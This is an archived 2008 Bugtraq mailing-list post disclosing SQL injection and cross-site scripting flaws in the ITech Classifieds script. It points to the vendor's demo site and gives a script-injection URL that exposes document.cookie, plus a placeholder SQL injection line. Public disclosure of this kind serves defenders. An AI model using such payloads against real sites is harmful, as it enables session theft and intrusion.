| lists.openwall.net | lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 | |
|
Open Source and information security mailing list archives
| ||
|
Date: 1 Feb 2008 22:51:54 -0000 From: cybermilitan@...mail.com To: bugtraq@...urityfocus.com Subject: ITech Classifieds Multiple Remote Vulnerabilities Title : ITech Classifieds Multiple Remote Vulnerabilities Author : Crackers_Child Bug : SQL Injection + XSS Demo : http://itechclassifieds.com/demo/ Exp : /ViewCat.php?CatID=<script>Alert(document.cookie)</script> Exp : /ViewCat.php?CatID=SQL Injection /* Greetz : www.aq.com www.sibersavascilar.com www.biyofrm.com